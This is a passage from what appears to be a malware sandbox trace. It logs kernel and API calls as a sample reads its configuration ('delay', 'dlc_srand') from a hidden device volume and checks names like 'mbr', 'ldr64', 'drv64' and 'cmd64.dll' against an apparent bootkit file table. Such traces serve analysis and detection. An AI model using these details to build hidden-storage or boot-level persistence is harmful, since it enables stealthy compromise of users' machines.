Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.278] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.278] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.278] IdePortDispatch () returned 0x103 [0129.278] KeWaitForMutexObject () returned 0x0 [0129.278] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.278] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.278] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.278] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.278] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.278] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03390 [0129.278] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.278] KeLeaveCriticalRegion () [0129.279] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.279] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.279] KeEnterCriticalRegion () [0129.279] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.279] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.279] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.279] KeLeaveCriticalRegion () [0129.279] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.279] KeEnterCriticalRegion () [0129.279] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.279] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.279] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.279] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.279] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.279] IdePortDispatch () returned 0x103 [0129.279] KeWaitForMutexObject () returned 0x0 [0129.279] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.279] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.279] KeLeaveCriticalRegion () [0129.279] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.279] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.279] KeEnterCriticalRegion () [0129.279] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.279] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc8000 [0129.279] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.279] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.279] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.279] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.279] IdePortDispatch () returned 0x103 [0129.280] KeWaitForMutexObject () returned 0x0 [0129.280] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.280] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.280] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.280] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.280] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.280] IdePortDispatch () returned 0x103 [0129.280] KeWaitForMutexObject () returned 0x0 [0129.280] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.280] KeLeaveCriticalRegion () [0129.280] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.281] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.281] KeEnterCriticalRegion () [0129.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.281] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.281] KeLeaveCriticalRegion () [0129.281] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.281] KeEnterCriticalRegion () [0129.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.281] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.281] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c03450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.281] KeLeaveCriticalRegion () [0129.281] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.281] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.281] KeEnterCriticalRegion () [0129.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.281] ExFreePoolWithTag (P=0xfffffa8003c03390, Tag=0x0) [0129.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.281] KeLeaveCriticalRegion () [0129.281] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.281] ReleaseMutex (hMutex=0xf0) returned 1 [0129.281] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.281] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.281] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.281] KeEnterCriticalRegion () [0129.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.281] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.281] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.281] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.281] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.281] IdePortDispatch () returned 0x103 [0129.281] KeWaitForMutexObject () returned 0x0 [0129.282] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.282] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.282] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.282] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.282] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.282] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04900 [0129.282] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.282] KeLeaveCriticalRegion () [0129.282] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.282] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.282] KeEnterCriticalRegion () [0129.282] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.282] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.282] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.282] KeLeaveCriticalRegion () [0129.282] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.282] KeEnterCriticalRegion () [0129.282] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.282] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.282] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.282] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.282] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.282] IdePortDispatch () returned 0x103 [0129.282] KeWaitForMutexObject () returned 0x0 [0129.282] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.282] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.282] KeLeaveCriticalRegion () [0129.282] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.282] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.282] KeEnterCriticalRegion () [0129.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.283] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc9000 [0129.283] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.283] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.283] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.283] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.283] IdePortDispatch () returned 0x103 [0129.283] KeWaitForMutexObject () returned 0x0 [0129.283] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.283] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.283] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.283] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.283] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.283] IdePortDispatch () returned 0x103 [0129.283] KeWaitForMutexObject () returned 0x0 [0129.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.283] KeLeaveCriticalRegion () [0129.283] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.284] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.284] KeEnterCriticalRegion () [0129.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.284] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.284] KeLeaveCriticalRegion () [0129.284] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.284] KeEnterCriticalRegion () [0129.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.284] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.284] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c049c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.284] KeLeaveCriticalRegion () [0129.284] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.284] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.284] KeEnterCriticalRegion () [0129.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.284] ExFreePoolWithTag (P=0xfffffa8003c04900, Tag=0x0) [0129.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.284] KeLeaveCriticalRegion () [0129.284] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.284] ReleaseMutex (hMutex=0xf0) returned 1 [0129.284] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.284] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.284] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.284] KeEnterCriticalRegion () [0129.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.284] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.284] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.284] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.284] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.285] IdePortDispatch () returned 0x103 [0129.285] KeWaitForMutexObject () returned 0x0 [0129.285] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.285] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.285] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.285] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.285] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.285] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02c70 [0129.285] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.285] KeLeaveCriticalRegion () [0129.285] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.285] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.285] KeEnterCriticalRegion () [0129.285] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.285] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.285] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.285] KeLeaveCriticalRegion () [0129.285] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.285] KeEnterCriticalRegion () [0129.285] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.285] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.285] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.285] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.285] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.285] IdePortDispatch () returned 0x103 [0129.285] KeWaitForMutexObject () returned 0x0 [0129.286] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.286] KeLeaveCriticalRegion () [0129.286] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.286] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.286] KeEnterCriticalRegion () [0129.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.286] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bca000 [0129.286] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.286] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.286] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.286] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.286] IdePortDispatch () returned 0x103 [0129.286] KeWaitForMutexObject () returned 0x0 [0129.286] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.286] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.286] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.286] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.286] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.286] IdePortDispatch () returned 0x103 [0129.286] KeWaitForMutexObject () returned 0x0 [0129.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.286] KeLeaveCriticalRegion () [0129.286] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.287] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.287] KeEnterCriticalRegion () [0129.287] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.287] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.287] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.287] KeLeaveCriticalRegion () [0129.287] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.287] KeEnterCriticalRegion () [0129.287] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.287] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.287] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.287] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.287] KeLeaveCriticalRegion () [0129.287] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.287] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.287] KeEnterCriticalRegion () [0129.287] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.287] ExFreePoolWithTag (P=0xfffffa8003c02c70, Tag=0x0) [0129.287] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.287] KeLeaveCriticalRegion () [0129.287] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.287] ReleaseMutex (hMutex=0xf0) returned 1 [0129.287] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.287] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.288] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.288] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.288] KeEnterCriticalRegion () [0129.288] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.288] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.288] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.288] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.288] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.288] IdePortDispatch () returned 0x103 [0129.288] KeWaitForMutexObject () returned 0x0 [0129.288] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.288] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.288] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.288] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.288] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.288] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.288] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.288] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.288] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.288] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.288] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.288] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.288] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.288] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.288] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.288] KeLeaveCriticalRegion () [0129.288] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.288] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.288] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.288] KeEnterCriticalRegion () [0129.288] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.288] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.288] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: 